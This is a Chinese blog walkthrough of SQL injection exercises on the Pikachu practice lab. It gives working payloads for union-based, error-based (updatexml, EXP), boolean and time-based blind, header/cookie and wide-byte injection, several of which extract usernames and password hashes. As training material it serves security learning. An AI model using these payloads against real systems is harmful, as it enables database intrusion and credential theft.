• Pikachu靶场SQL注入刷题记录


    数字型注入

    0x01

    burp抓包,发送至repeater
    后面加and 1=1,and 1=2 可判断存在注入

    0x02

    通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2

    0x03

    查看表名:
    union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

    0x04

    查询users表中的数据:
    union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

    0x05

    查询数据:
    union select 1,username from users
    union select 1,password from users

    字符型注入

    0x01

    加单引号报错,'--+ 返回正常,可判断存在字符型注入

    0x02

    通过上题可知有两个字段
    查询表名:
    ' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

    0x03

    查询users表中的数据:
    ' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

    0x04

    查询数据:
    ' union select 1,username from users--+
    ' union select 1,password from users--+

    搜索型注入

    0x01

    单引号报错,判断字段
    ' order by 3#时正常,' order by 4#时不正常

    0x02

    已经知道含有users表,直接查列名
    ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#

    0x03

    查password数据
    ' union select 1,2,password from users#

    XX型注入

    0x01

    输入单引号,得到报错信息

    可以看到有个)符号,那么sql语句中前面一定有个(符号,所以要将前面闭合,后面注释掉

    0x02

    输入')#,抓包repeater放包

    0x03

    判断字段
    %27)+order+by+2%23,回显正常

    %27)+order+by+3%23,回显不正常,字段数为2

    0x04

    已知users表,查列名
    %27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23

    0x05

    查密码
    %27)+union+select+1,password+from+users%23

    insert/update注入

    0x01

    点击注册,用户名密码输入如下

    提交返回

    根据报错可推断前面sql语句大概是这样value('xxx',1,2,3,4,5)

    0x02

    使用updatexml()进行报错注入
    ' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '

    Updatexml只能注出32位字符,缺少一位字符,所以改用其他函数
    经测试extractvalue()函数也是一样,再换其他函数

    0x03

    使用EXP函数时成功注出md5
    ' or EXP(~(SELECT * from(select @@version)a)) or '
    ' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

    ' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

    ' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

    Delete注入

    0x01

    单引号报错

    0x02

    这种id的值一般都是数字型注入
    +or+EXP(~(SELECT+*+from(select+@@version)a))

    最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))

    HTTP Header注入

    0x01

    提示给了账号密码

    登录进去

    0x02

    刷新,抓包

    可以看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,因此加单引号进行验证

    发现报错,因此,使用报错注入语句

    0x03

    '+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'

    ' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

    ' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

    ' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

    盲注(boolian)

    0x01

    首先要知道一个用户名(真实环境可自己注册一个)
    lili' and 1=1#

    lili' and 1=2#

    可判断存在注入

    0x02

    paylaod:lili' and substr(database(),1,1)='字母'#
    对数字进行爆破

    第一个字母为p
    再对第二位进行爆破
    lili' and substr(database(),2,1)='字母'#

    第二个字母为i
    按此方式一位一位进行爆破,可得数据库名为pikachu

    盲注(time)

    0x01

    首先要知道一个用户名(真实环境可自己注册一个)
    lili' and sleep(10)#

    10s左右才响应,可判断存在时间盲注(或者F12看响应时间)

    0x02

    爆破数据库名
    lili' and if(substr(database(),1,1)='字母',sleep(5),1)#
    对字母进行爆破,爆破第一个字母
    爆破后将Columns--Response received选中,可看到响应时间

    第一个字母为p
    爆破第二个字母
    lili' and if(substr(database(),2,1)='字母',sleep(5),1)#

    得到第二个为i
    以此类推,得出数据库名为pikachu

    宽字节注入

    0x01

    抓包在burp中操作
    1%df%27+or+1=1#

    0x02

    判断字段数
    1%df%27+union+select+1,2#

    1%df%27+union+select+1,2,3#

    字段数为2

    0x03

    查表名
    1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#

    0x04

    查列名
    1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
    (0x7573657273为users的16进制编码)

    0x05

    查数据
    1%df%27+union+select+1,password+from+users#

    更多技术文章请关注Timeline Sec公众号

  • 相关阅读:
    初识 visJs (基于html5 canvas开发的可视化框架)
    VueJs
    VueJS 使用i18n做国际化切换中英文
    vue-cli项目接口地址可配置化(多环境部署)一处修改多处适用
    vue + element-ui 制作下拉菜单(可配置路由、可根据路由高亮list、可刷新自动展开定位路由)
    vue-cli -- > 项目基本构建的方法
    javascript代码工具库
    HTML5新功能之六 《Web通信、WebSockets和跨文档消息传输》
    《响应式Web设计:HTML5和CSS3实战》 读书笔记
    HTML5新功能之二 《Geolocation获取地理位置》
  • 原文地址:https://www.cnblogs.com/paperpen/p/12324363.html
走看看 - 开发者的网上家园